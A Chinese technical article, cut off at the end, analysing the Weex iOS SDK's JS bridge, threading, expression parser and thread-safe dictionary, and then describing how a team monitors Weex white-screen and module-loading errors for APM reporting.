WXJSCoreBridge 本身不直接拼接回调脚本,而是提供 executeJavascript: 方法(源码第 102 行),作为 JS 脚本执行的底层入口;真正的脚本构造,在 WXBridgeManager

WXBridgeManager 事件回调

- (void)fireEvent:(NSString *)instanceId ref:(NSString *)ref type:(NSString *)type params:(NSDictionary *)params
{
    [self fireEvent:instanceId ref:ref type:type params:params domChanges:nil];
}

- (void)fireEvent:(NSString *)instanceId ref:(NSString *)ref type:(NSString *)type params:(NSDictionary *)params domChanges:(NSDictionary *)domChanges
{
    [self fireEvent:instanceId ref:ref type:type params:params domChanges:domChanges handlerArguments:nil];
}
- (void)fireEvent:(NSString *)instanceId ref:(NSString *)ref type:(NSString *)type params:(NSDictionary *)params domChanges:(NSDictionary *)domChanges handlerArguments:(NSArray *)handlerArguments
{
   // ...
    WXCallJSMethod *method = [[WXCallJSMethod alloc] initWithModuleName:nil methodName:@"fireEvent" arguments:[WXUtility convertContainerToImmutable:args] instance:instance];
    [self callJsMethod:method];
}

- (void)callJsMethod:(WXCallJSMethod *)method
{
    if (!method || !method.instance) return;
    
    __weak typeof(self) weakSelf = self;
    WXPerformBlockOnBridgeThreadForInstance(^(){
        WXBridgeContext* context = method.instance.useBackupJsThread ? weakSelf.backupBridgeCtx :  weakSelf.bridgeCtx;
        [context executeJsMethod:method];
    }, method.instance.instanceId);
}

WXBridgeContext.m 代码如下:

- (void)executeJsMethod:(WXCallJSMethod *)method {    
   // ...
    [sendQueue addObject:method];
    [self performSelector:@selector(_sendQueueLoop) withObject:nil];
}

- (void)_sendQueueLoop {
    if ([tasks count] > 0 && execIns) {
        WXSDKInstance * execInstance = [WXSDKManager instanceForID:execIns];
        NSTimeInterval start = CACurrentMediaTime()*1000;
        
        if (execInstance.instanceJavaScriptContext && execInstance.bundleType) {
            [self callJSMethod:@"__WEEX_CALL_JAVASCRIPT__" args:@[execIns, [tasks copy]] onContext:execInstance.instanceJavaScriptContext completion:nil];
        } else {
            [self callJSMethod:@"callJS" args:@[execIns, [tasks copy]]];
        }
        // ...
    }
}

- (void)callJSMethod:(NSString *)method args:(NSArray *)args {
    if (self.frameworkLoadFinished) {
        [self.jsBridge callJSMethod:method args:args];
    } else {
        [_methodQueue addObject:@{@"method":method, @"args":args}];
    }
}

再到 WXJSCoreManager

- (JSValue *)callJSMethod:(NSString *)method args:(NSArray *)args {
    WXLogDebug(@"Calling JS... method:%@, args:%@", method, args);
    WXPerformBlockOnMainThread(^{
        [[WXBridgeManager sharedManager].lastMethodInfo setObject:method ?: @"" forKey:@"method"];
        [[WXBridgeManager sharedManager].lastMethodInfo setObject:args ?: @[] forKey:@"args"];
    });
    return [[_jsContext globalObject] invokeMethod:method withArguments:[args copy]];
}

其实不管是 CallJS 还是 CallNative,通信的技术方案设计和 Hybrid 的设计一致,都需要在 JavascriptCore 的 global 对象上挂载一个方法。比如 Native 注册了一个 WXComponent 之后,Weex 侧用 Vue 语法写完了个页面,呈现在用户手机上,用户点击页面上的按钮之后,Native 再将事件回调给 Weex 侧,Weex 再去处理后续逻辑。

4. WXAssertComponentThread 断言

WXAssertComponentThread 的核心作用是 强制约束组件相关操作在「组件专属线程」执行,本质是为了解决「线程安全」和「性能稳定性」问题

iOS 开发的核心线程规则是「UI 操作必须在主线程」,但 Weex 组件的工作流程(绑定解析、数据计算、布局计算、子组件管理)包含大量「非 UI 操作」—— 如果这些操作都在主线程执行,会阻塞主线程(比如长列表数据解析、复杂表达式计算),导致 UI 卡顿(比如滑动掉帧)

因此 Weex 设计了线程分工

线程类型 负责的操作
组件专属线程 绑定规则解析(_storeBindings)、表达式计算(bindingBlockWithExpression)、数据更新(updateBindingData)、布局计算(calculateLayout
主线程 最终 UI 渲染(如 UIImageView 设图、UILabel 设文本)、子视图增删(insertSubview

1. 避免「线程安全问题」,防止崩溃 / 数据错乱

组件的核心数据(如 _bindingProps_subcomponents_flexCssNode)都是「非线程安全的」(没有加锁保护)—— 如果多个线程同时读写这些数据,会导致:

  • 数据竞争:比如主线程读取 _subcomponents 遍历,组件线程同时修改 _subcomponents(增删子组件),导致数组越界崩溃;
  • 数据不一致:比如组件线程更新 _bindingProps 的值,主线程同时读取该值用于 UI 更新,导致显示错误的旧值;
  • 野指针:比如组件线程销毁子组件,主线程还在访问该子组件的 view

线程断言通过「强制所有组件核心操作在同一线程执行」,从根源上避免了这些跨线程问题 —— 同一时间只有一个线程操作组件数据,无需复杂锁机制(锁会降低性能)。

2. 简化调试,快速定位线程问题

如果没有线程断言,跨线程操作组件可能导致「偶现崩溃」(比如 100 次操作出现 1 次),难以复现和排查(日志中看不到线程上下文)。而线程断言会在「违规线程调用时直接崩溃」,并明确提示「必须在组件线程执行」,开发者能立刻定位到违规代码(比如在主线程调用了 updateBindingData),大幅降低调试成本。

3. 保证操作顺序一致性

组件的更新流程是「解析绑定 → 计算表达式 → 更新属性 → 布局计算 → UI 渲染」—— 这些步骤必须按顺序执行。如果分散在多个线程,可能出现「布局计算还没完成,UI 已经开始渲染」的情况(导致布局错乱)。组件专属线程保证了所有操作串行执行,顺序不会乱。

5. WXJSASTParser 的工作原理

WXJSASTParser 如何把表达式字符串解析为 AST 节点?

WXJSASTParser 是 Weex 自定义的「轻量 JS 表达式解析器」—— 核心是「按 JS 语法规则,把字符串拆分为结构化的 AST 节点」,全程不依赖完整 JS 引擎(如 JSC/V8),只支持绑定表达式需要的基础语法(标识符、成员访问、二元运算等),兼顾性能和体积。

整个解析过程分 3 步:词法分析 → 语法分析 → AST 节点封装,和编译器的前端流程一致,以下结合示例("user.name + '?size=100'")拆解:

先明确:AST 是什么?

AST(抽象语法树)是「用树形结构表示代码语法」的中间结构 —— 比如表达式 user.name + '?size=100',AST 会拆分为:

根节点:BinaryExpression(运算符 '+')
├─ 左子节点:MemberExpression(成员访问)
│  ├─ object:Identifier(标识符 'user')
│  └─ property:Identifier(标识符 'name')
└─ 右子节点:StringLiteral(字符串字面量 '?size=100')

这种结构能被程序快速遍历和计算(比如之前讲的生成 WXDataBindingBlock 时,递归遍历节点执行运算)。

1.词法分析(Lexical Analysis)

拆分为词法单元(Token)。词法分析是「把表达式字符串拆分为最小的、有意义的语法单元」,忽略空格、换行等无关字符。核心是「按 JS 语法规则匹配字符序列」。

表达式 "user.name + '?size=100'"` 词法分析后得到的 Token 序列:

Token 类型 Token 值 说明
IDENTIFIER user 标识符(变量名 / 属性名)
DOT . 成员访问运算符
IDENTIFIER name 标识符
PLUS + 二元运算符(加法 / 拼接)
STRING_LITERAL ?size=100 字符串字面量(去掉引号)

词法分析的实现逻辑(简化):

  1. 初始化一个「字符指针」,从表达式字符串开头遍历;
  2. 遇到字母 / 下划线 → 继续往后读,直到非字母 / 数字 / 下划线 → 识别为 IDENTIFIER(如 user);
  3. 遇到 +/-/*///>/= 等 → 识别为对应运算符(如 +PLUS);
  4. 遇到 "' → 继续往后读,直到下一个相同引号 → 识别为 STRING_LITERAL(去掉引号);
  5. 遇到 . → 识别为 DOT(成员访问);
  6. 遇到空格 / 制表符 → 直接跳过(无意义字符);
  7. 遇到无法识别的字符(如 #/@)→ 抛出语法错误(WXLogError)。

Weex 的 WXJSASTParser 内部会维护一个「Token 流」(数组),词法分析后把 Token 按顺序存入流中,供下一步语法分析使用。

2. 语法分析(Syntactic Analysis)

语法分析是「根据 JS 表达式语法规则,把 Token 流组合为树形 AST 节点」—— 核心是「验证 Token 序列是否符合语法,并构建层级关系」。

Weex 支持的 JS 表达式语法子集(核心):

  • 标识符:userimageUrl(对应 WXJSIdentifier);
  • 成员访问:user.namelist[0](对应 WXJSMemberExpression);
  • 字面量:字符串('abc')、数字(123)、布尔(true)、null(对应 WXJSStringLiteral/WXJSNumericLiteral 等);
  • 二元运算:a + bage > 18a === b(对应 WXJSBinaryExpression);
  • 条件运算:age > 18 ? 'adult' : 'teen'(对应 WXJSConditionalExpression);
  • 数组表达式:[a, b, c](对应 WXJSArrayExpression)。

示例:Token 流 → AST 节点的构建过程

Token 流:IDENTIFIER(user) → DOT → IDENTIFIER(name) → PLUS → STRING_LITERAL(?size=100)

  1. 语法分析器先读取前 3 个 Token(user.name),匹配「成员访问语法规则」(IDENTIFIER . IDENTIFIER)→ 构建 WXJSMemberExpression 节点(左子节点 user,右子节点 name);
  2. 接着读取 PLUS(二元运算符),再读取后面的 STRING_LITERAL(?size=100) → 匹配「二元运算语法规则」(Expression + Expression);
  3. 把之前构建的 WXJSMemberExpression 作为「左子节点」,STRING_LITERAL 作为「右子节点」,PLUS作为「运算符」→ 构建根节点 WXJSBinaryExpression
  4. 最终生成 AST 树(如之前的结构)。

语法分析的实现逻辑(简化):

Weex 采用「递归下降分析法」(最适合手工实现的语法分析方法):

  1. 为每种表达式类型定义一个「解析函数」(如 parseMemberExpression 解析成员访问、parseBinaryExpression 解析二元运算);
  2. 解析函数递归调用:比如 parseBinaryExpression 会调用 parseMemberExpression 解析左右操作数,parseMemberExpression 会调用 parseIdentifier 解析标识符;
  3. 语法校验:如果 Token 序列不符合规则(如 user.name + 缺少右操作数),会抛出「语法错误」日志,终止解析。

3. AST 节点封装

转为 Weex 自定义的 WXJSExpression。语法分析生成的是「抽象语法树结构」,Weex 会把这个结构封装为自定义的 WXJSExpression 子类(对应不同表达式类型),每个子类存储该节点的关键信息(如运算符、子节点),供后续生成 WXDataBindingBlock 使用。

示例封装:

  • WXJSMemberExpression 类:存储 object(子节点,如 user)、property(子节点,如 name)、computed(是否是计算属性,如 list[0]YESuser.nameNO);
  • WXJSBinaryExpression 类:存储 left(左子节点)、right(右子节点)、operator_(运算符字符串,如 "+");
  • 字面量类(如 WXJSStringLiteral):存储 value(字面量值,如 ?size=100)。

这些类的定义在 Weex 源码的 WXJSASTParser.h 中,本质是「数据容器」,把 AST 结构转化为 Objective-C 代码可访问的对象。

WXJSASTParser 本质:它不是完整的 JS 解析器(不支持 functionfor 等复杂语法),而是「专门为 Weex 绑定表达式设计的轻量解析器」—— 只解析需要的 JS 表达式子集,把字符串转为结构化的 AST 节点,最终目的是「让 Native 代码能递归遍历节点,计算出表达式结果」(如 user.name + '?size=100'avatar.png?size=100)。

这种「自定义轻量解析器」的设计,既避免了依赖完整 JS 引擎的体积和性能开销,又能精准适配 Weex 的绑定需求,是跨端框架的常见优化思路。

十、值得借鉴的地方

1. WXThreadSafeMutableDictionary 线程安全字典

Weex 中的 WXThreadSafeMutableDictionary 提供了一个线程安全的字典,其本质是通过加 pthread_muext_t 锁来维护内部的一个字典的。 比如下面的代码

初始化锁相关的配置

@interface WXThreadSafeMutableDictionary ()
{
    NSMutableDictionary* _dict;
    pthread_mutex_t _safeThreadDictionaryMutex;
    pthread_mutexattr_t _safeThreadDictionaryMutexAttr;
}

@end

@implementation WXThreadSafeMutableDictionary

- (instancetype)initCommon
{
    self = [super init];
    if (self) {
        pthread_mutexattr_init(&(_safeThreadDictionaryMutexAttr));
        pthread_mutexattr_settype(&(_safeThreadDictionaryMutexAttr), PTHREAD_MUTEX_RECURSIVE); // must use recursive lock
        pthread_mutex_init(&(_safeThreadDictionaryMutex), &(_safeThreadDictionaryMutexAttr));
    }
    return self;
}

- (instancetype)init
{
    self = [self initCommon];
    if (self) {
        _dict = [NSMutableDictionary dictionary];
    }
    return self;
}

在字典操作的地方使用锁

- (void)setObject:(id)anObject forKey:(id<NSCopying>)aKey
{
    id originalObject = nil; // make sure that object is not released in lock
    @try {
        pthread_mutex_lock(&_safeThreadDictionaryMutex);
        originalObject = [_dict objectForKey:aKey];
        [_dict setObject:anObject forKey:aKey];
    }
    @finally {
        pthread_mutex_unlock(&_safeThreadDictionaryMutex);
    }
    originalObject = nil;
}

这么写的价值:解锁逻辑「绝对执行」,彻底避免死锁 这是 @try-finally 最核心的价值 ——无论 try 块内发生什么(正常执行、提前 return、抛异常),finally 块的解锁逻辑一定会执行

对比无 try-finally 的写法

// Bad: 若setObject抛异常,unlock不会执行→死锁
pthread_mutex_lock(&_mutex);
[_dict setObject:anObject forKey:aKey];
pthread_mutex_unlock(&_mutex); 

问题:[_dict setObject:anObject forKey:aKey] 可能抛异常(比如 aKey = nil 时会触发 NSInvalidArgumentException),若没有 finally,锁会被永久持有→其他线程调用 lock 时死锁,整个字典无法再操作。

设计优点:

  • @try-finallly:即使 try 内逻辑出错,finally 也会执行 pthread_mutex_unlock,保证锁最终释放,这是线程安全的「兜底保障」
  • 注意,不是 try...catch...finally: 如果加了 catch 逻辑,则字典的 key 为 nil 产生的崩溃也会被捕获掉,这属于不符合预期的行为。因为 key 为 nil 产生的原因太多了,可能是业务代码异常,也可能是数据异常,也可能是逻辑错误,如果一刀切直接用 try...catch...finally 捕获了异常,但是没有配置异常的收集、上报、处理逻辑,属于边界不清晰,本质是为了解决加解锁不匹配而可能带来的线程安全问题,却"多管闲事",把字典 key 为 nil 本该向上跑的异常而卡住了(这个问题不再赘述,是一个经典的策略问题,端上的异常发生时,安全气垫的“做与不做”问题)

延伸:聊聊类似网易的大白解决方案或者业界其他公司中,安全气垫虽然保证了代码不 crash,影响用户体验,但是比如数组本该越界,现在却不越界:

  1. 唯一能做的就是返回一个错误的值,比如数组长度为3,访问4,现在不 crash,返回了 0 的值,那是不是产生了业务异常?比如商品价格
  2. 不 crash,也不返回错误位置的值,类似给一个回调,告诉业务方出现了异常,可以做一些业务层面的提醒或者配置(比如开发阶段商品卡片的价格 Label 显示:商品价格获取错误,数组越界),同时产生的异常案发现场信息和其他的一些数据会上报,用于 APM 平台去分析和定位。

但这也产生一个问题,类似数组越界的场景,可能10000次里面9999次都正常,只有1次异常,业务开发为了这万分之一出现的异常,还需要写一些异常处理的逻辑(比如商品卡片展示价格获取错误,数组越界)。那字典的 key 为 nil 呢?除法的分母为0呢?诸如此类,类似乐观锁和悲观锁的场景

相关问题的思考可以查看这篇文章:安全气垫

  • WXHandlerFactory:Weex 核心的「处理器工厂」,负责管理所有协议(如图片加载、网络请求、存储等)的实现类注册 / 查找;
  • WXImgLoaderProtocol:Weex 定义的「图片加载协议」,仅声明接口(下载、取消、缓存等),不包含具体实现。

Weex 支持业务层自定义图片加载逻辑(比如统一用项目的图片缓存库、添加下载拦截、埋点等),此时自定义实现类会替代默认实现,成为下载执行者: 步骤 1:业务层创建类(如 MyCustomImgLoader),遵循 WXImgLoaderProtocol,实现 wx_loadImageWithURL: 等协议方法(内部可调用 SDWebImage/AFNetworking 等完成下载); 步骤 2:将自定义类注册到 WXHandlerFactory:

[WXHandlerFactory registerHandler:[MyCustomImgLoader new] forProtocol:@protocol(WXImgLoaderProtocol)];

步骤 3:此时 [WXHandlerFactory handlerForProtocol:@protocol(WXImgLoaderProtocol)] 会返回 MyCustomImgLoader 实例,所有图片下载由该类负责

2. 设计分层合理

graph TD
    A[开发者编写的 .we/.vue 文件] --> B[Transformer<br/>转换JS Bundle];
    B --> C[JS Framework<br/>解析并管理Virtual DOM];
    C -- 通过JS Bridge发送渲染指令 --> D[Native SDK<br/>渲染引擎];
    D --> E[iOS/Android/Web 原生视图];
    
    C -- 支持多种DSL --> F[Vue.js];
    C -- 支持多种DSL --> G[Rax(类React)];
    D -- 原生能力扩展 --> H[自定义Component];
    D -- 原生能力扩展 --> I[自定义Module];

Weex 最核心的设计是将整个框架清晰地分为:语法层(DSL)中间层(JS Framework)渲染层(Native SDK)

这种渲染引擎和语法层 DSL 分离的设计,可以使得上层 DSL 方便拓展 Vue、Rax 写法,下层渲染引擎可以保持较好的稳定性。为了生态的拓展提供了极大的便携性。

3. 可扩展的组件与模块系统

Weex 通过WXSDKEngine.registerComponent()registerModule() 方法,允许开发者扩展原生组件 (UI Component)和模块(Login Module)。这套机制设计得足够底层和通用,使得 Weex 可以由开发者来注册,由公司内的体验设计中心规范来落地的组件。以及一些基础能力。这样子 Weex 官方已经提供了一些功能强大的筋骨,我们在其之上可以提供更符合需求的外表和更有力量的一块手臂肌肉。

虽然事后视角来看,Weex、RN、Flutter,甚至是更早的、设计完善的 Hybrid 都有该能力。但这对于远古时期的 Weex 来说,还是可圈可点的。

4. 轻量 JSBundle + 增量更新支持

Weex 的 JSBundle 仅包含业务逻辑和组件描述,框架代码(Vue 内核、Weex 基础 API)内置在原生 SDK 中,因此 Bundle 体积极小;同时支持将 Bundle 拆分为 “基础包(公共逻辑)+ 业务包(页面逻辑)”,实现增量更新。

解决了跨端框架 “首屏加载慢” 的痛点(小 Bundle 加载更快),同时增量更新降低了发布成本。

十一、Weex APM

1. 历史背景

Weex 是诸多年前的产物,部分业务线用 Weex 写了部分功能模块,或者是某几个页面,或者是某个二级、三级业务 SDK 的页面。但可以确定的是:

  • 21年就完成了 Flutter 的基建开发(对齐 Native 的 UI 组件库,遵循体验设计平台产出的集团 UI 标准;做了 Flutter 的大量 plugin、打包构建平台、日志库、网络库、探照灯、APM SDK、热修复能力等)。新业务的实现只会在 Native 和 Flutter 上考虑
  • Weex 业务代码基本上是存量的
  • Weex 代码没有 bug 就不去修改;有版本迭代,之前是 Weex 实现的,本次只做简单 UI 增删或字段调整,也是会修改一下。初次之外不修改 Weex 代码

所以像 Native 一样去全面监控性能、网络、crash、异常、白屏、页面加载耗时等维度的话,ROI 是很低的。那么就需要制定一些策略去有针对性的监控高优问题。

Weex 的异常比较有特点,比如在页面的模版代码中绑定了 data 中的一个对象,此时对象可能并没有值,而是依赖后续的网络请求完成,对象才有了具体的值 data 改变,数据驱动,页面再次 render。所以监控代码会认为第一次 render 的时候访问对象不存在的属性。 真正有问题的代码和不影响业务的异常信息,都会被 Vue 官方认为是异常。基于这样的背景,我们无法 pick 出真正异常或者是开发者判空代码没写好的问题。基于此,我们需要做一些约定和标准。

2. 优先级权衡标准

这时候就需要摒弃程序员视角(不然会陷入啥数据都想统计,可能是洁癖、可能是追求),但从 ROI 角度出发,我们就需要切换到用户视角。

假设你是一个用户,什么样的情况代表业务异常,对我们的用户来说比较痛呢?

  • 页面白屏了,看都看不到了,别说你们的 App 为我赋能解决用户痛点了
  • 稍微好点,可以看到页面了,但是某一个区域是白屏的。比如:该页面大部分在展示商品价格、商品数量、商品折扣价、商品折扣信息、下面应该是有个“确认支付”按钮,但是此处就是空白,点也点不了。
  • 情况再好点。可以看到全部的页面了,但是点击后无响应。比如:该页面大部分在展示商品价格、商品数量、商品折扣价、商品折扣信息、下面有个“确认支付”按钮。用户在考虑再三,本着理性购物后,发现是刚需品,咬紧牙要付款了,此时点击“确认支付”按钮了,但是页面没有任何反应。用户也是“见多识广”的体面人,猜测可能是网络不好的情况,所以等了1分钟,他很有耐心。切换了 WI-FI 到 5G 后,继续点击,依旧没反应。一怒之下点了10次,等了2分钟,还是没反应。他奔溃了,卸载了 App

上述几种情况,总结为:按照异常等级,可以划分为影响业务和不影响业务。什么叫“影响业务”?这是我们自己定义的标准,影响用户是否正常操作 App。比如:页面白屏(页面全部白屏、页面部分白屏)、点击某个按钮无响应,这些叫做“影响业务”,属于 Error 级别。其他的一些轻微异常,不影响用户使用 App 功能,不影响业务,属于 Warning 级别。

3. UI 显示异常

1. 部分白屏:注册的 Component 使用异常

这种情况就属于页面部分白屏。因为某个哪个 Compoent 会铺满页面,基本类似 iOS UI 控件一样组合使用。就像上文描述的「该页面大部分在展示商品价格、商品数量、商品折扣价、商品折扣信息、下面应该是有个“确认支付”按钮,但是此处就是空白」这个空白粗,理应显示一个 Native 注册的 Button,但是没有显示出来,造成业务的阻塞。

WeexComponentRegisterError.png .vue(或 Weex 专属.we)文件内基于 Vue 扩展的 Weex 跨平台模板 DSL 代码,在前端构建阶段会先由 Webpack 的weex-loader触发编译流程:首先通过 Weex 核心编译器@weex-cli/compiler(复用并扩展vue-template-compiler)将模板 DSL 解析为模板 AST(抽象语法树);接着由 Weex 自定义 Babel 插件(如babel-plugin-transform-weex-template)将模板 AST 转换为标准化的 JS AST,并针对 iOS/Android 跨平台特性做属性、样式、事件的适配处理(如样式单位归一化、事件名标准化);最终生成包含_h(即 Weex 运行时的$createElement,等价于 Vue 的createElement)调用的render函数,该函数会被 Webpack 打包到最终的 Weex JS Bundle 中。

_c('color-button',
  {
    staticStyle: {
      width: "400px",
      height: "40px",
      marginBottom: "20px"
    },
    attrs: {
      "title": "点击计算10+20",
      "bgColor": "#FF6600",
      "message": "hello"
    },
    on: {
      "click": _vm.handleButtonClick
    }
  },
  // 如果有 children 就是 children 信息
)

在 App 运行阶段,Weex 的 JS 引擎(iOS 端为 JSCore、Android 端为 V8)加载 JS Bundle 后,执行组件的render函数,通过调用 _h 函数将模板描述转换为跨平台的虚拟 DOM(VNode),VNode 会被序列化为 JSON 格式,最终通过 JS Bridge 传递给 Native 端(iOS/Android)用于原生视图渲染。

Weex 的 Component 相关逻辑都由 WXComponentManager 负责。页面在构建展示的时候,会调用 _buildComponent 方法,其内部会调用 WXComponentFactory 的能力(configWithComponentName),根据 ComponentName 获取 Component。

configWithComponentName 是 Weex iOS 侧 WXComponentFactory(组件工厂类)的核心方法之一,核心作用是:根据传入的组件名称(如 color-button/div/text),查找该组件对应的 Native 侧配置(WXComponentConfig);若找不到对应配置,则降级使用基础容器组件 div 的默认配置,并输出警告日志。

- (WXComponentConfig *)configWithComponentName:(NSString *)name
{
    WXAssert(name, @"Can not find config for a nil component name");
    
    WXComponentConfig *config = nil;
    
    [_configLock lock];
    config = [_componentConfigs objectForKey:name];
    if (!config) {
        WXLogWarning(@"No component config for name:%@, use default config", name);
        config = [_componentConfigs objectForKey:@"div"];
    }
    [_configLock unlock];
    
    return config;
}

UI Component 做的比较随意,认为显示问题降级用 div 就可以了。做为 SDK 这么设计也似乎可以接受,但作为业务方,我们必须收集统计这种异常情况。 所以此处我们可以收集案发现场数据,进行上报。我们发现 Weex 自己封装了 WXExceptionUtils类,暴露了 commitCriticalExceptionRT 接口,用于收集致命问题。

+ (void)commitCriticalExceptionRT:(WXJSExceptionInfo *)jsExceptionInfo{
    
    WXPerformBlockOnComponentThread(^ {
        id<WXJSExceptionProtocol> jsExceptionHandler = [WXHandlerFactory handlerForProtocol:@protocol(WXJSExceptionProtocol)];
        if ([jsExceptionHandler respondsToSelector:@selector(onJSException:)]) {
            [jsExceptionHandler onJSException:jsExceptionInfo];
        }
        if ([WXAnalyzerCenter isOpen]) {
            [WXAnalyzerCenter transErrorInfo:jsExceptionInfo];
        }
    });
}

可以看到会判断是否存在可以处理 exception 遵循 WXJSExceptionProtocol 的 handler。所以我们新增一个 WXExceptionReporter 类(遵循 WXJSExceptionProtocol 协议),用于收集异常,然后用于统一的上报,内部提供基础数据的组装、字段解析功能。

效果如下:

WeexComponentBuildFlow.png

2. 全部白屏

根据 Weex 的工作原理可以知道,页面需要展示肯定要根据 url 去获取 JS Bundle 内容,然后解析成 VNode 最后通过 JSBridge 去调用 Native 的 UI Component 去展示 UI,那么整个流程几个重要的环节都可能出错,导致页面白屏。

1. 资源请求失败

JS Bundle 资源请求失败,存在 Error,此时是无法去展示 Weex 页面的。这种情况就是 HTTP 状态码非200的情况。

每个 Weex 页面都由 WXSDKInstance 负责下载 JS Bundle 资源,所以下载的逻辑在 WXSDKInstance 里。

- (void)_renderWithRequest:(WXResourceRequest *)request options:(NSDictionary *)options data:(id)data; 
{
  _mainBundleLoader.onFinished = ^(WXResourceResponse *response, NSData *data) {

      NSError *error = nil;
      if ([response isKindOfClass:[NSHTTPURLResponse class]] && ((NSHTTPURLResponse *)response).statusCode != 200) {
          error = [NSError errorWithDomain:WX_ERROR_DOMAIN
                                      code:((NSHTTPURLResponse *)response).statusCode
                                  userInfo:@{@"message":@"status code error."}];
          if (strongSelf.onFailed) {
              strongSelf.onFailed(error);
          }
      }
      
      if (error) {
          [WXExceptionUtils commitCriticalExceptionRT:strongSelf.instanceId
                                              errCode:[NSString stringWithFormat:@"%d", WX_KEY_EXCEPTION_JS_DOWNLOAD]
                                              function:@"_renderWithRequest:options:data:"
                                            exception:[NSString stringWithFormat:@"download bundle error :%@",[error localizedDescription]]
                                            extParams:nil];
          return;
      }

      if (!data) {
          NSString *errorMessage = [NSString stringWithFormat:@"Request to %@ With no data return", request.URL];
          WX_MONITOR_FAIL_ON_PAGE(WXMTJSDownload, WX_ERR_JSBUNDLE_DOWNLOAD, errorMessage, strongSelf.pageName);
          [WXExceptionUtils commitCriticalExceptionRT:strongSelf.instanceId
                                              errCode:[NSString stringWithFormat:@"%d", WX_KEY_EXCEPTION_JS_DOWNLOAD]
                                              function:@"_renderWithRequest:options:data:"
                                            exception:errorMessage
                                            extParams:nil];
          return;
      }
  };
}

模拟 JS Bundle 下载错误,效果如下:

WeexJSBundleDownloadFailed.png

下载 JS Bundle 网络请求完成后,如果出现 Error,则会调用 WXExceptionUtils 的能力,将异常交给 WXExceptionReporter 去处理。

WeexJSBundleDownloadFailedAPM.png

2. 资源请求成功,数据为空

还有一种情况就是:**JSBundle 下载请求在 HTTP 层面 “成功完成”(状态码 200),但返回的二进制数据 data 为 nil 或空(长度为 0) **

可能你会好奇,怎么可能有空的 JSBundle,什么场景下会产生这种情况? 凡是正常写代码都符合预期就没有任何 bug 和故障了,所以利用悲观策略,将各种可能出现问题的地方都监控到,因为只要 JSBundle 为空,页面肯定是白屏,对于用户侧来说都是致命的。

  1. 服务器/CDN 返回“空响应”:后端 / CDN 配置异常:请求的 JSBundle URL 有效,HTTP 状态码返回 200,但响应体(Body)为空(比如静态 JS 文件被删除、CDN 缓存失效且源站无数据、后端接口逻辑错误未写入响应内容);
  2. 下载过程中数据传输截断 / 丢失
  • 网络波动:下载请求已收到服务器的 “响应完成” 信号,但数据传输过程中因网络中断、超时等导致 NSData 未完整接收(仅 HTTP 头成功接收,体数据为空);
  • Weex 加载器(mainBundleLoader)异常:加载器在将响应数据转为 NSData 时出现底层错误(如内存不足、数据解码失败),导致 data 被置为 nil。

Mock:将 data 设为 nil。效果如下:

WeexJSBundleParseFailed.png

可以看到 Weex 也会把这种错误进行收集,调用 WXExceptionUtils commitCriticalExceptionRT,所以我们添加的 Analyzer 是可以监控到这种异常的。 效果如下:

WeexJSBundleParseErrorAPM.png

3. 资源请求成功,数据无法解析

还有一种特殊的情况就是:下载的 JSBundle 二进制数据虽非空,但因无法以 UTF-8 编码解码为字符串,导致 Weex 实例无法加载执行该数据,最终页面 UI 无法正常展示。比如下面的情况:

WeexJSbundleEncodingError.png

和上面的情况类似,这种都属于概率较小的问题,但也要监控和预防。

一些可能的情况:

  1. JSBundle 文件编码非 UTF-8。 Weex 要求:JS Bundle 文件必须采用 UTF-8 编码(无 BOM)以保证跨平台兼容性,非 UTF-8 编码(如 GBK、UTF-16)可能导致 iOS/Android 平台解析失败
  2. 数据损坏/包含非法 UTF-8 字节
  • 下载截断:UTF-8 是「多字节编码」(比如中文占 3 字节),若下载过程中数据末尾的字符字节不完整(如只下了 2 字节),解码时会因 “字节序列不合法” 失败;
  • 数据篡改:CDN / 网关 / 代理在传输中混入非 UTF-8 字节(如 0xFF、0xFE、0x00 等无效字节),破坏编码结构;
  • 文件损坏:JSBundle 文件打包 / 上传时出错(如压缩后未正确解压),包含乱码 / 二进制碎片
  1. 请求到非文本数据(URL 错误)。请求的 JS Bundle 返回的不是 JS 文本,而是二进制:
  • URL 配置错误:指向图片(png/jpg)、压缩包(zip)、二进制协议数据(如 protobuf)、可执行文件等
  • 后端接口错误:原本应返回 JS 文本的接口,异常时返回二进制格式的错误信息(而非文本错误)
  • 缓存污染:Weex 本地缓存的 JSBundle 被其他二进制文件覆盖(如缓存路径冲突)
  1. 特殊字符/编码溢出
  • JSBundle 中包含 UTF-8 无法表示的「无效 Unicode 码点」(如超出 U+10FFFF 范围,或保留的未定义码点)
  • 数据量过大:极大型 JSBundle 解码时因内存不足 / 系统限制,导致解码接口返回 nil(iOS 中 NSString 对单字符串长度有隐性限制)

这种情况,Weex 官方是怎么做的?

NSString *jsBundleString = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
if (!jsBundleString) {
    WX_MONITOR_FAIL_ON_PAGE(WXMTJSDownload, WX_ERR_JSBUNDLE_STRING_CONVERT, @"data converting to string failed.", strongSelf.pageName)
    [strongSelf.apmInstance setProperty:KEY_PROPERTIES_ERROR_CODE withValue:[@(WX_ERR_JSBUNDLE_STRING_CONVERT) stringValue]];
    return;
}

可以看到,这种情况没有被 Weex 没有视为“致命问题”进行上报。只是进行了简单打印。尝试站在框架角度想问题,从 SDK Owner 角度归因:

  • HTTP 状态码错误/无数据:Weex 认为这类错误是「外部不可控故障」(网络、CDN、服务端宕机),会影响大批量实例,属于 “框架级致命异常”,必须通过 WXExceptionUtils 上报(触发全局异常统计、告警)
  • 编码转换失败:可能是分批多次打包,前几次都是 UTF-8 格式,只是这次编码错误,是可以定位的。Weex 认为这类错误是「内部可控问题」(前端打包时未按 UTF-8 规范输出、URL 配置错误指向二进制文件),属于 “业务侧错误”,框架只需记录监控(提醒开发者修复),无需升级为 “框架级致命异常”。

但从业务方角度出发,不光页面是 Weex、Native、Flutter、H5,只要是影响了用户体验,都属于致命问题,尤其这种整个页面都是白屏的情况。所以我们需要修改源码,去上报致命异常。调用 WXExceptionUtils commitCriticalExceptionRT 的能力。

效果如下:

WeexJSBundleEncodingAPM.png

4. 逻辑异常

1. JS 侧 require Module 失败

在 Native [WXSDKEngine registerModule:@"logicCalculation" withClass:[WXLogicCalculationModule class]] 正常注册的 Module,名字叫 logicCalculation。在 js 侧使用的时候不小心写成 const logicCalculation = weex.requireModule('logicCalculation1'),测试又没回归到,问题逃逸到线上,可能就是逻辑问题。Weex 官方的做法就是在 Xcode 打印 log。

WeexModuleRequireError.png

所以作为 APM 侧,我们要定位和收集到该问题,进行问题上报。

想办法知道哪里报错,requireModule 不是原生写法,这肯定是 JS 侧封装的,查看 Weex 源码

WeexRequireModuleError.png

// Weex JS Framework 核心源码(简化)
